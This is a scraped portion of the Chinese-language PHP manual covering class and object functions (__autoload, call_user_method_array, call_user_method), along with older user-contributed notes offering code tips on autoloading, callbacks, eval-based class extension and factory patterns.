  • get_class — 返回对象的类名
  • get_declared_classes — 返回由已定义类的名字所组成的数组
  • get_declared_interfaces — 返回一个数组包含所有已声明的接口
  • get_declared_traits — 返回所有已定义的 traits 的数组
  • get_object_vars — 返回由对象属性组成的关联数组
  • get_parent_class — 返回对象或类的父类名
  • interface_exists — 检查接口是否已被定义
  • is_a — 如果对象属于该类或该类是此对象的父类则返回 TRUE
  • is_subclass_of — 如果此对象是该类的子类，则返回 TRUE
  • method_exists — 检查类的方法是否存在
  • property_exists — 检查对象或类是否具有该属性
  • trait_exists — 检查指定的 trait 是否存在

User Contributed Notes

Skydev 05-Jan-2011 11:40
A small function that allows finding all references to the object. Written in 3 minutes and may be buggy (for ex pass object as reference in some places?)

<?php
function find_ref_obj($object, $obj, $path) {
    if (in_array($obj,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$obj;
    $r = array();
    foreach ((array)$obj as $k => $v) {
        if ($v === $object)
            $r[] = $path . "->$k";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_ref_arr($object, $arr, $path) {
    if (in_array($arr,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$arr;
    $r = array();
    foreach ($arr as $k => $v) {
        if ($v === $object)
            $r[] = $path . "['$k']";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_references($object) {
    $r = array();
    $GLOBALS['__REF_CHECKED']=array();
    foreach ($GLOBALS as $n => $v)
    if ($n!='__REF_CHECKED')
    if ($n!='GLOBALS') {
        if ($v === $object)
            $r[]=$n;
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    unset($GLOBALS['__REF_CHECKED']);
    return $r;
}

function find_refs($object) {
    return implode(', ',find_references($object));
}
?>
Dennis 01-Jul-2010 04:04
We have an array with many objects in a style like

<?php

$step = new StepModel(1); // if the StepModel id is "1"
$demand = $step->getDemand(); // returns DemandModel
$step2 = $demand->getCustomer(); // returns StepModel
$demand2 = $step2->getDemand(); // returns DemandModel

// [ ... ]

?>

$step and $step2 can be the same objects. So we have an recursive array. Now we need to know if $step == $step2 or $step === $step2. In other words: We need to know the php internal resource ids.

Because there is no function in php api, we made the following function.

Be careful: In our case, all objects have as first attribute ["id":protected]. If your objects are different from this, you need to edit $pattern.

Warning: function is very slow and should only be called if it's necessary for debugging reasons:

<?php

/**
 * returns resource- and object-ids of all objects in an array
 *
 * @param array $array
 * @return array
 */
function getObjectInformation(Array $array)
{
    // start output-buffering
    ob_start();

    // create an var_dump of $array
    var_dump($array);

    // save the dump in var $dump
    $dump = ob_get_contents();

    // clean the output-buffer
    ob_end_clean();

    // delete white-spaces
    $dump = str_replace(' ', '', $dump);

    // define the regex-pattern
    // in our case, all objects look like this:
    //
    // object(ClassName)#1(1){
    // ["id":protected]=>
    // string(1)"1"
    $pattern  = '/object\(([a-zA-Z0-9]+)\)#([0-9]+)\([0-9]+\){\\n';
    $pattern .= '\["id":protected\]=>\\n';
    $pattern .= 'string\([0-9]+\)"([v]?[0-9]+)"/im';

    // search for all matches
    preg_match_all($pattern, $dump, $regs);

    // sort all mathes by class name, object id and then resource id
    array_multisort($regs[1], SORT_ASC, SORT_STRING,
                    $regs[3], SORT_ASC, SORT_NUMERIC,
                    $regs[2], SORT_ASC, SORT_NUMERIC);

    // cache the last match
    $lastMatch = array();

    // the return value
    $return = array();

    // loop through the matches
    for ($i = 0; $i < sizeof($regs[0]); $i ++) {

        // check if the current match was not visited before
        if (0 == sizeof($lastMatch) ||
            $regs[1][$i] != $lastMatch[1] ||
            $regs[2][$i] != $lastMatch[2] ||
            $regs[3][$i] != $lastMatch[3]) {

            // save the match in return value
            array_push($return, array($regs[1][$i],
                                      $regs[2][$i],
                                      $regs[3][$i]));
        }

        // save match in last match cache
        $lastMatch[1] = $regs[1][$i];
        $lastMatch[2] = $regs[2][$i];
        $lastMatch[3] = $regs[3][$i];
    }

    // return all matches
    return $return;
}

?>

I know, it's not that elegant but I hope it's useful for a few people.
ahigerd at timeips dot com 20-Dec-2007 07:02
To access an object member with an illegal character in the name, use this syntax:

$obj->{'illegal-property:name()'}

This is particularly relevant with the dynamically-generated classes used by, for instance, database objects and the SoapClient class.
pascal dot poncet at netconsult dot com 13-Oct-2005 07:21
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
ia [AT] zoznam [DOT] sk 02-Aug-2005 10:55
as for zabmilenko's solution:
wouldn't it be better to create it this way?

<?php
// The base class for all db classes
class DB {
 protected $connectId;
}

// Class for MySQL, which extends base class
class MySQL extends DB {
 function connect () {
  $this->connectId = mysql_connect (...);
 }
}

// Class for PostgreSQL, which extends base class
class pgSQL extends DB {
 function connect () {
  $this->connectId = pg_connect (...);
 }
}

// and then call constructor like this:
$dbName = "MySQL";
$db = new $dbName ( ... );
// ... which creates an object of class MySQL
?>
zabmilenko at hotmail dot com 27-Jun-2005 12:08
((PHP5))

I wanted to dynamically choose an extender for a class.  This took awhile of playing with it but I came up with a solution.  Note that I can't verify how safe it is, but it appears to work for me.  Perhaps someone else can shed light on the details:

<?php

class A { var $value = "Class A\n"; }
class B { var $value = "Class B\n"; }

// Uncomment which extender you want.  You can use variables as well.
// define('__EXTENDER__', 'A');
   define('__EXTENDER__', 'B');

// Use eval to create a wrapper class.
eval('class EXTENDER extends '. __EXTENDER__ . ' { }');

class C extends EXTENDER
{
  function __construct()
  {
     echo $this->value;
  }
}

$t = new C;

?>

Outputs:   Class B

Practical application:  I have a database abstraction system that has individual classes for mysql, pgsql, et al.  I want to be able to create a global db class that extends one of the individual db classes depending on the application configuration.

I know that there are probably much better ways of doing this but I haven't reached that level when it comes to classes.
cjones 03-Mar-2005 01:27
If anyone is interested in looking for a way to dynamically load existing objects into a class, here is what I found very useful.

//---------------------------------------------------------
// Dynamically load External Objects into a class

  function objRef ( &$obj ) {
    eval("\$this->obj_".get_class($obj)." = \$obj;");
  }
//---------------------------------------------------------
// Reference by using: $this->obj_[object Name]->[var|f{}]

Example:

class date {  function date ( ) { $this->date = "March 3rd"; } }
class time {  function time ( ) { $this->time = "12:30pm"; } }

class show {
    function objRef ( &$obj ){
        eval("\$this->obj_".get_class($obj)." = \$obj;");
    }
   function test ( $var ){
       echo "$var".$this->obj_date->date." @ ".$this->obj_time->time;
   }
}

$date = new date;
$time = new time;
$show = new show;
    $show->objRef($date);
    $show->objRef($time);
    $show->test("Time Now => ");

// Output: Time Now => March 3rd @ 12:30pm

I found the prefix 'obj_' before the class name useful because it helped me to automatically identify external object references when scanning through my scripts. You can omit this if you want. Hope this helps someone.
http://sc.tri-bit.com/ StoneCypher 02-Mar-2005 10:25
to covertka at muohio dot edu and pillepop2003 at yahoo dot de:

There's a much easier solution to getting a class' name for working with a factory function.  Let's assume you're doing something like this:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {
      case 'stuff'      : return new Stuff($instancedata);
      case 'otherstuff' : return new Otherstuff($instancedata);
    }

  }

?>

Now, consider the named parameter idiom and remember that PHP uses hashes for everything; as a result make the following changes:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {

      case 'stuff'      : return array('typeis'=>'stuff',      'instance'=>new Stuff($instancedata));
      case 'otherstuff' : return array('typeis'=>'otherstuff', 'instance'=>new Otherstuff($instancedata));

    }

  }

?>

Nice 'n simple.  It seems that what the original poster wanted was something like C++ static data members; unfortunately as PHP4 has no static variables at all, there would need to be significant language change to support static-like behavior.  If you move to PHP5, the static keyword solves your problem cleanly.
covertka at muohio dot edu 02-Jan-2005 05:27
To pillepop2003 at yahoo dot de:

I have the same issue.  I have a base class that manages database tasks for a number of child classes.  One of the functions in the base class is a find() method that returns instances of the child classes.  Since find() is usually called as a static method, it needs to know the name of the child class.  As you've found, this appears to be impossible to get in an easy fashion.

The only way I've found to get the child class name is to use the debug_traceback() function.  This requires me to have a find() method in every child class, but it does work.

Here's an example:

<?php
  require_once("Application.php");

  class parentClass {
    function find() {
      $className = NULL;
      foreach (debug_backtrace() as $bt) {
        if ($bt['function'] == __FUNCTION__) {
          $className = $bt['class'];
        }
      }

      // here should be some code to find the proper id, let's assume it was id 1
      $id = 1;
      return new $className($id);
    }
  }

  class foo extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  class bar extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  $a = foo::find();
  printf("Type for \$a: %s<br/>\n", get_class($a));
  $b = bar::find();
  printf("Type for \$b: %s<br/>\n", get_class($b));
?>
iparanoid at gmx dot de 04-Aug-2004 11:17
To pillepop2003 at yahoo dot de:

It seems to me if there really is no nice way to get the class name in an un-instanciated class, there is a workaround in PHP5 though using static/class variables.

Example:

<?php

class myFoo
{
    static $__ClassName = __CLASS__;

    static function getClassName()
    {
        return myFoo::$__ClassName;
    }
};

class myFooExtended extends myFoo
{
    function __construct()
    {
        myFooExtended::$__ClassName = __CLASS__;
    };
};

?>

However, you'll need to have at least instanciated an object of the class myFooExtended before calling getClassName or introduce some other initialization (the class variable will need to be set at some point to __CLASS__ in the sub-class).
greg at doutromundo dot com 05-Jul-2004 07:58
As programmers, you're probably more organized than me, but, I do try and maintain some order in my classes and codes and separate them in "packages" as in java.
This helped me keep them organized but caused havok when trying to use them, so what I did was to create a class that handles the loading of classes (which I instanciate in all pages) along with my error handling class all bundled up. This way, I can load my classes with a command similar to
$baseClass->loadClass("package","className"[,"constructor"]);

the function responsible for this has some checking to see if they are loaded and stuff like that...

function loadClass($packageName,$className,$constructor=""){
  // if you dont have a constructor declare any function inside
  // the class
  if ($constructor==""){
    $constructor=$className;
  }
  if(!is_callable(array($className,$constructor))){
    if (defined("CLASS_DIR")){
      $pkg = CLASS_DIR.$packageName."/";
        if (is_dir($pkg)){
          // we have a directory with the package name
          $cls = $pkg.$className.".class.php";
          if(is_file($cls)){
            // we have a file
            include_once($cls);
          }else{
            die("Class <b>$className</b> could not be found in package <b>$packageName</b> , please check your instalation");
          }
        }else{
          die("Package <b>$packageName</b> could not be found, please check your instalation");
        }
      }
    }
}

Just remember to define CLASS_DIR as the physical path for the directories where you packages are...

Hope this comes in handy...

Here's an example of a diretory strucutre...
/var/www/classes/   <- this would be CLASS_DIR
in there I have:
package1/
     name.class.php
     name2.class.php
....

The loadClass would look like: loadClass("package1","name");

Cute and easy
ettinger at consultant dot com 18-Jun-2004 04:59
Re: Looking for an uninstantiated class

# Loads data from a table into a class object
class LFPDataFactory extends LFPObject {
        var $object;
        var $class;
        var $table;
        function LFPDataFactory($args) {
                $this->unpackArgs($args); // assigns locals from $args
                if (in_array(strtolower($this->class), get_declared_classes())) {
                        $this->object = new $this->class;
                        // assemble the columns in the table...
                        // select their values and put them in our new object...
                } else { trigger_error("Class ".$this->class." not found", E_USER_ERROR); }
        }
}
$r = new LFPDataFactory("class=LFPLayout,table=layout");
$new_obj = $r->object; // this is a LFPLayout object.
print_r($new_obj);

This class looks to see if the class exists, then instantiates it -- a declared class is not the same as an instantiated class. As long as LFPLayout exists somewhere in the scripts, get_declared_classes() will find it. Remember strtolower on compare, however.

Why would I do this? Because I have my class layouts the same as their respective tables; the factory then selects the data (making sure that the variables match) and plugs in the data. (I've left out the actual code to do the selection/insertion).
HOC 28-May-2004 09:40
to pillepop2003

Why do u want to know the classname of an non-existant object?

The only possible explanation for this question seems to me u want to know the class before u instantiate the object. Well, this is of no use since u always instantiate a class of ur choice.

When the class is instantiated into an object u can find the class of the object by means of get_class(). This is all u need. In case of inheritance u can use get_class($this) to get the class of the instantiated object. Now u can differentiate according to which class the object belongs to.

e.g.:

<?php
class A{
   function A(){
      $class_of_this = get_class($this);
      echo 'Object is an instance of class '.$class_of_this.' which is the ';
      if(strcmp($class_of_this,'A')==0)
         echo 'parent-class';
      else if(strcmp($class_of_this,'B')==0)
         echo 'child-class';
      echo ".\n";
   }
}

class B extends A{
   function B(){
      $this->A();
   }
}

$object1 = new A();
$object2 = new B();
?>

When u run this code-snippet the output will be:

Object is an instance of class A which is the parent-class.
Object is an instance of class B which is the child-class.
ar at 5mm de 28-Aug-2003 07:59
I missed some kind of function to dynamicly override or extend an Object:

-----------------------------------------
function &extendObj(&$obj, $code) {
    static $num = 0;

    $classname = get_class($obj);
    $newclass = $classname.$num;

    eval('class '.$newclass.' extends '.$classname.' { '.$code.' }');

    $newobj = new $newclass();

    $vars = get_class_vars($classname);
    foreach($vars AS $key=>$value) {
        $newobj->$key = &$obj->$key;
    }

    return $newobj;
}
-----------------------------------------

This creates a new class which extends the old one by the given code parameter, instanciates it and copy all vars from the old obj to the new one.

-----------------------------------------
class testA {
    var $prop = 'a';

    function funcA($val) {
        $this->prop = $val;
    }

    function value() {
        return $this->prop;
    }
}

$obj = new testA();

$newobj = &extendObj(&$obj, 'function addX() { $this->prop .= "x"; }');

$newobj->funcA('abc');
$newobj->addX();
echo $newobj->value();
-----------------------------------------

Results in 'abcx'. You can use the function multiple times and also with class variables. Be carefull, even if $newobj is just a copy of $obj, $obj->value() will return 'abcx', too, because of the & operator: $newobj->$key = &$obj->$key;
zidsu at hotmail dot com 08-Jul-2003 05:24
FYI: if you want to split your class into manageble chunks, what means different files for you, you can put you functoins into includes, and make include() have a return value. Like this:

class Some_class {
  var $value = 3;
  function add_value ($input_param) {
    return include ("path/some_file.php");
  }
}

And your included file:

$input_param += $this->value;
return $input_param;

Then your function call will be:

$instance = new Some_class ();
$instance->add_value (3);

And this will return
6
hopefully :P

Keep in mind though, that the scope in the included file will be identical to the scope the function 'add_value' has.
And if you want to return the outcome, you should also have a return statement made in your include as well.
asommer*at*as-media.com 20-Sep-2002 02:52
Something I found out just now that comes in very handy for my current project:

it is possible to have a class override itself in any method ( including the constructor ) like this:

class a {

..function ha ( ) {
....if ( $some_expr ) {
......$this = new b;
......return $this->ha ( );
....}
....return $something;
..}

}

in this case assuming that class b is already defined and also has the method ha ( )

note that the code after the statement to override itself is still executed but now applies to the new class

i did not find any information about this behaviour anywhere, so i have no clue wether this is supposed to be like this and if it might change... but it opens a few possibilities in flexible scripting!!
einhverfr at not-this-host dot hotmail dot com 14-Sep-2002 12:35
You may find it helpful in complex projects to have namespaces for your classes, and arrange these in a hierarchical manner.   A simple way to do this is to use the filesystem to order your hierarchies and then define a function like this:

function use_namespace($namespace){

require_once("namespaces/$namespace.obj.php");

}

(lack of indentation due to HTML UI for this page)
This requires that all your object libraries end in .obj.php (which I use) but you can modfy it to suit your needs.  To call it you could, for exmaple call:

use_namespace("example");
or if foo is part of example you can call:
use_namespace("example/foo");
justin at quadmyre dot com 19-Aug-2002 09:38
If you want to be able to call an instance of a class from within another class, all you need to do is store a reference to the external class as a property of the local class (can use the constructor to pass this to the class), then call the external method like this:

$this->classref->memberfunction($vars);

or if the double '->' is too freaky for you, how about:

$ref=&$this->classref;
$ref->memberfunction($vars);

This is handy if you write something like a general SQL class that you want member functions in other classes to be able to use, but want to keep namespaces separate. Hope that helps someone.

Justin

Example:

<?php

class class1 {
    function test($var) {
        $result = $var + 2;
        return $result;
    }
}

class class2{
    var $ref_to_class=''; # to be pointer to other class

    function class1(&$ref){ #constructor
        $this->ref_to_class=$ref; #save ref to other class as property of this class
    }

    function test2($var){
        $val = $this->ref_to_class->test($var); #call other class using ref
        return $val;
    }
}

$obj1=new class1;
# obj1 is instantiated.
$obj2=new class2($obj1);
# pass ref to obj1 when instantiating obj2

$var=5;
$result=obj2->test2($var);
# call method in obj2, which calls method in obj1
echo ($result);

?>
gateschris at yahoo dot com 08-Mar-2001 01:59
[Editor's note: If you are trying to do overriding, then you can just interrogate (perhaps in the method itself) about what class (get_class()) the object belongs to, or if it is a subclass of a particular root class.

You can alway refer to the parent overriden method, see the "Classes and Objects" page of the manual and comments/editor's notes therein.]

There is no function to determine if a member belongs to a base class or current class eg:

<?php
class foo {
 function foo () { }
 function a () { }
}

class bar extends foo {
 function bar () { }
 function a () { }
}

lala = new Bar();
?>
------------------
how do we find programmatically if member a now belongs to class Bar or Foo.


尝试加载未定义的类

  • ? 类/对象 函数
  • call_user_method_array ?
  • PHP Manual
  • 类/对象 函数
  • 尝试加载未定义的类

__autoload

(PHP 5, PHP 7)

__autoload — 尝试加载未定义的类

Warning

This feature has been DEPRECATED as of PHP 7.2.0. Relying on this feature is highly discouraged.

说明

__autoload ( string $class ) : void

你可以通过定义这个函数来启用类的自动加载。

参数

class

待加载的类名。

返回值

没有返回值。

参见

  • spl_autoload_register() - 注册给定的函数作为 __autoload 的实现

User Contributed Notes

ohcc at 163 dot com 29-Nov-2017 05:51
In PHP 7.2, this code will trigger a "
Deprecated: __autoload() is deprecated, use spl_autoload_register() instead in path\to\file.php on line *" error although the spl_autoload_register function really really exists.
<?php
    if(!function_exists('spl_autoload_register')){
        function __autoload($class){
            // blah blah blah
        }
    }
?>
dagirovdjamal at gmail dot com 02-Aug-2017 09:13
Simple autoload :

function __autoload($class_name){
            require 'class/' . $class_name . '.php';
}
Jose G 04-Dec-2014 08:29
You should use include() or require() inside __autoload()
instead of include_once() or require_once().

If you reach __autoload(), then you know the file with the class definition has not been loaded yet.

include() and require() are more efficient than include_once() and require_once().
romi 29-Jun-2014 11:16
<?php
    if(!function_exists('classAutoLoader')){
        function classAutoLoader($class){
            $class=strtolower($class);
            $classFile=$_SERVER['DOCUMENT_ROOT'].'/include/class/'.$class.'.class.php';
            if(is_file($classFile)&&!class_exists($class)) include $classFile;
        }//You have to give the class name and not the class's path for the first parameter in the class_exists()
    }
    spl_autoload_register('classAutoLoader');
?>
Ben 26-Mar-2014 05:56
Guys, this document ( i mean __autoload() ) not mentioned one special situation: if you both use __autoload() and spl_autoload_register(), the __autoload() function will never to be called. Although spl_autoload_register() documentation explained why, i decide to wrote this in case some one get confused and waste all day to figure out why.

Here is some code to verify above:

<?php
function __autoload($class) {
}

function my_loader() {
}

function your_loader() {
}

var_dump ( spl_autoload_functions () );
echo '<br/>';

spl_autoload_register ( 'my_loader' );
spl_autoload_register ( 'your_loader' );

var_dump ( spl_autoload_functions () );
ohcc at 163 dot com 08-Dec-2013 07:12
It is highly recommended not to use the __autoload() function any more. Now the spl_autoload_register() function is what you should consider.Sorry for the mistake in line 6 of my previous note. And below is the corrected PHP code.
<?php
    if(!function_exists('classAutoLoader')){
        function classAutoLoader($class){
            $class=strtolower($class);
            $classFile=$_SERVER['DOCUMENT_ROOT'].'/include/class/'.$class.'.class.php';
            if(is_file($classFile)&&!class_exists($class)) include $classFile;
        }
    }
    spl_autoload_register('classAutoLoader');
?>
ohcc at 163 dot com 07-Dec-2013 06:28
It is highly recommended not to use the __autoload() function any more. Now the spl_autoload_register() function is what you should consider.
<?php
    if(!function_exists('classAutoLoader')){
        function classAutoLoader($class){
            $class=strtolower($class);
            $classFile=$_SERVER['DOCUMENT_ROOT'].'/include/class/'.$class.'.class.php';
            if(is_file($classFile)&&!class_exists($classFile)) include $classFile;
        }
    }
    spl_autoload_register('classAutoLoader');
?>
eragroove at gmail dot com 10-Jul-2013 05:48
If you can keep file name and class name as same, it will be good programming practice. It helps to __autoload function to load file without checking any condition.

function __autoload($class){
  require_once( $class.".php");
}
wojciech.fornal@gmail,com 07-Jun-2013 11:56
keyboardSmasher

You may or may not be right as the file name doesn't necessarily have to reflect a class name it contains (but it's usually considered a good practice). It isn't always a straightforward mapping (look at some PHP frameworks and autoload implementations).

File myBar.php may contain the class:

class Bar {
}

or it even contain the class:

class Foo {
}

Best regards
keyboardSmasher 16-Apr-2013 07:45
qeremy, your code is incorrect.

<?php
include_once("./myClass.php");
include_once("./myFoo.php");
include_once("./myBar.php");

$obj = new myClass();
$foo = new Foo();
$bar = new Bar();
?>

<?php
$foo = new Foo();
$bar = new Bar();
?>

should be:

<?php
$foo = new myFoo();
$bar = new myBar();
?>
qeremy 08-Mar-2012 03:01
Even I have never been using this function, just a simple example in order to explain it;

./myClass.php
<?php
class myClass {
    public function __construct() {
        echo "myClass init'ed successfuly!!!";
    }
}
?>

./index.php
<?php
// we've writen this code where we need
function __autoload($classname) {
    $filename = "./". $classname .".php";
    include_once($filename);
}

// we've called a class ***
$obj = new myClass();
?>

*** At this line, our "./myClass.php" will be included! This is the magic that we're wondering... And you get this result "myClass init'ed successfuly!!!".

So, if you call a class that named as myClass then a file will be included myClass.php if it exists (if not you get an include error normally). If you call Foo, Foo.php will be included, and so on...

And you don't need some code like this anymore;

<?php
include_once("./myClass.php");
include_once("./myFoo.php");
include_once("./myBar.php");

$obj = new myClass();
$foo = new Foo();
$bar = new Bar();
?>

Your class files will be included "automatically" when you call (init) them without these functions: "include, include_once, require, require_once".


以参数列表的数组，调用用户方法

  • ? __autoload
  • call_user_method ?
  • PHP Manual
  • 类/对象 函数
  • 以参数列表的数组，调用用户方法

call_user_method_array

(PHP 4 >= 4.0.5, PHP 5)

call_user_method_array — 以参数列表的数组，调用用户方法

Warning

This function was DEPRECATED in PHP 4.1.0, and REMOVED in PHP 7.0.0.

Alternatives to this function include:

  • call_user_func_array()

说明

call_user_method_array ( string $method_name , object &$obj , array $params ) : mixed

参数

method_name

要调用的方法名称。

obj

要调用的 method_name 所在的对象 object。

params

数组形式的一组参数。

范例

Example #1 代替 call_user_method_array()

<?php
call_user_func_array(array($obj, $method_name), $params);
?>

参见

  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • call_user_func() - 把第一个参数作为回调函数调用

User Contributed Notes

musaatalay dot mobile at gmail dot com 15-Jul-2014 07:57
<?php

class a{

    function b($a,$b,$c){

        echo $a." ".$b." ".$c;

    }

    function c(Array $a, Array $b){

        print_r($a);

        echo "<br />";

        print_r($b);

    }

    function cuf(Array $a, Array $b){

        print_r($a);

        echo "<br />";

        print_r($b);

    }

}

$a = new a;

// ### Just String Params ###

$array = array("Musa ATALAY",":","Software Developer");

$str = NULL;

foreach($array AS $v){
    if(is_string($v)){
        $str.="'".$v."',";
    }else{
        $str.=$v;
    }
}

$str = rtrim($str,",");

$run = "echo \$a->b(".$str.");";

echo "<br />";

eval($run);

$str = NULL;

/*
OUTPUT :

Musa ATALAY : Software Developer
*/

// ### With Array Params ###

$array = array(array("Musa ATALAY",":","Software Developer"),array("Musa ATALAY",":","Software Developer"));

foreach($array AS $i => $v){
    if(is_string($v)){
        $str.="'".$v."',";
    }else{
        $str.="\$array[".$i."],";
    }
}

$str = rtrim($str,",");

$run = "echo \$a->c(".$str.");";

echo "<br />";

eval($run);

/*
 OUTPUT :

Musa ATALAY : Software Developer

Musa ATALAY : Software Developer
*/

?>
wloche at hotmail dot com 15-Jul-2010 01:33
You don't have to write a new function, <?php call_user_func_array(array($obj, $method_name), $params); ?> works pretty fine! (to my mind, 'eval' fucntion should be avoided almost all the time)


对特定对象调用用户方法

  • ? call_user_method_array
  • class_alias ?
  • PHP Manual
  • 类/对象 函数
  • 对特定对象调用用户方法

call_user_method

(PHP 4, PHP 5)

call_user_method — 对特定对象调用用户方法

Warning

This function was DEPRECATED in PHP 4.1.0, and REMOVED in PHP 7.0.0.

Alternatives to this function include:

  • call_user_func()

说明

call_user_method ( string $method_name , object &$obj [, mixed $parameter [, mixed $... ]] ) : mixed

参数

method_name

要调用的方法名称。

obj

要调用的 method_name 所在的对象 object。

parameter ...

可选参数

范例

Example #1 代替 call_user_method()

<?php
call_user_func(array($obj, $method_name), $parameter /* , ... */);
?>

参见

  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • call_user_func() - 把第一个参数作为回调函数调用

User Contributed Notes

bmafzallmahmud at gmail dot com 11-Dec-2017 07:59
<?php
call_user_method()
This function was DEPRECATED in PHP 4.1.0, and REMOVED in PHP 7.0.0.
Alternatives to this function include : call_user_func()

example :01

class Habib {
    static public function test() {
        print "Hello Hasina!<br>";
    }

}

call_user_func('Habib::test');
call_user_func(array('Habib', 'test'));
//this class no __NAMESPACE__  dut we use and find the result
call_user_func(__NAMESPACE__ .'\Habib::test');
call_user_func(array(__NAMESPACE__ .'\Habib', 'test'));

$classname = "Habib";
call_user_func(array($classname, 'test'));
call_user_func($classname .'::test');
$myobject = new Habib();
call_user_func(array($myobject, 'test'));
call_user_func($myobject .'::test'); //Recoverable fatal error : Object of class Foo could not be converted to string

output:
Hello Hasina!
Hello Hasina!
Hello Hasina!
Hello Hasina!
Hello Hasina!
Hello Hasina!
Hello Hasina!
Recoverable fatal error : Object of class Foo could not be converted to string

example:02
--------------------------------------------------------------------------
 namespace Foobar;

class Habib {
    static public function test() {
        print "Hello Hasina!<br>";
    }

}
call_user_func(__NAMESPACE__ .'\Habib::test');
call_user_func(array(__NAMESPACE__ .'\Habib', 'test'));
$myobject = new Habib();
call_user_func(array($myobject, 'test'));

output:
Hello Hasina!
Hello Hasina!
Hello Hasina!
Chris 24-Jun-2008 07:26
From what i've observed, call_user_func() does everything this funciton does and a little more.  I made a pretty good example call_user_func()'s usage with object instances and figured it might be useful here:

<?php

    /**

        This is a demonstration of 2 neat features of PHP

        *    passing array arguments in as a big array, and using += to assign defaults to missing values
                This would allow for function calls that more closely mimick thoes made in javascript using JSON, with enough work, it could be almost identical using associative arrays
        *    function callbacks within a class to global instances of other classes
                This allows you pass a function callback to an object early on, and hold off its execution until later in the program (say during page outputing after everything has been setup)

    **/

    class Runner {

        public $id;

        public function __construct($id) {
            $this->id = $id;
            echo "constructing " . __CLASS__ . " with id of $id<br />\n";
        }

        public function run($distance = null, $measurement = 'km') {
            if ($distance) {
                echo 'I ran ' . $distance . ' ' . $measurement . '.';
            } else {
                echo 'I ran.';
            }
            echo "({$this->id})<br />\n";
        }
    }

    class Speaker {

        public $id;

        public function __construct($id = 0) {
            $this->id = $id;
            echo "constructing " . __CLASS__ . " with id of $id<br />\n";
        }

        public function speak($statement = 'hello world') {
            echo $statement . "({$this->id})<br />\n";
        }
    }

    class Test {
        protected $runCallback = null;
        protected $speakCallback = null;
        protected $statement;
        protected $distance;

        public function __construct(array $params = array()) {
            echo "constructing " . __CLASS__ . "<br />\n";
            $params += array('speakCallback' => array('Speaker', 'speak'), 'runCallback' => array('Runner', 'run'), 'statement' => 'Hello from ' . __CLASS__ . ' class!', 'distance' => 10);
            foreach($params as $k => $v) {
                $this->$k = $v;
            }
        }

        public function getInstance() {
            return new self(current(func_get_args()));
        }

        public function callRunner() {
            if (is_callable($this->runCallback))
                return call_user_func($this->runCallback, $this->distance);
            else
                throw new Exception("runCallback is not callable\n" . var_export($this->runCallback, true) . "\n");
        }
        public function callSpeaker() {
            if (is_callable($this->speakCallback))
                return call_user_func($this->speakCallback, $this->statement);
            else
                throw new Exception("speakCallback is not callable\n" . var_export($this->speakCallback, true) . "\n");
        }
    }

    $r = new Runner(1);
    $s = new Speaker(2);

    // Note that we're using $s instead of 'Speaker'
    call_user_func(array($s, 'speak'), 'Hello from global!');

    // try out from global with call_user_func_array() to pass args as an array
    call_user_func_array(array($r, 'run'), array(5, 'mi'));

    $Test = new Test(array('runCallback' => array($r, 'run'), 'speakCallback' => array($s, 'speak')));
    $Test->callRunner();
    $Test->callSpeaker();

    $Test = call_user_func(array('Test', 'getInstance'), array('runCallback' => array($r, 'run'), 'distance' => 15));
    // should work as expected
    $Test->callRunner();
    // should throw an error for trying to use this during a static call to Speaker::speak() because of the default
    $Test->callSpeaker();

?>

Hope that's helpful.
ravichandran_11 at yahoo dot co dot in 10-Mar-2008 04:32
<?php
class abc{
   function func($argument)  {
       $argument="It works";
   }
}
$obj=new abc;
$argument_to_be_changed="No it doesn't work";
call_user_method("func", $obj, &$argument_to_be_changed);
echo "Result : ".$argument_to_be_changed;
?>

This code is working. But will through some warning message which you can hide by configuring php.ini
j dot h at h-elektro dot de 05-Feb-2007 12:11
It does not work to use Pointers as Arguments:

<?php
class abc{
   function func(&$argument)  {
       $argument="It works";
   }
}

$obj=new abc;
$argument_to_be_changed="No it doesnt";
call_user_method("func", $obj, $argument_to_be_changed);

echo "Result".$argument_to_be_changed;
?>

The result is: "No it doesnt".

Regards
der Jan
paulo at emd dot com dot br 18-Sep-2000 05:12
This function is very similar to this:

<?php
$method="Print";
$object->$method($param1,$param2);
?>

Note the extra $ after the ->
jmcastagnetto at php dot net 21-Aug-2000 05:04
You can pass a variable number of parameters to a function, use a definition like:

function mymethod ($v1, $v2, $v3="", $v4="")

and then you can pass 2, 3 or 4 parameters. This is explained in the "Functions" section of the manual.

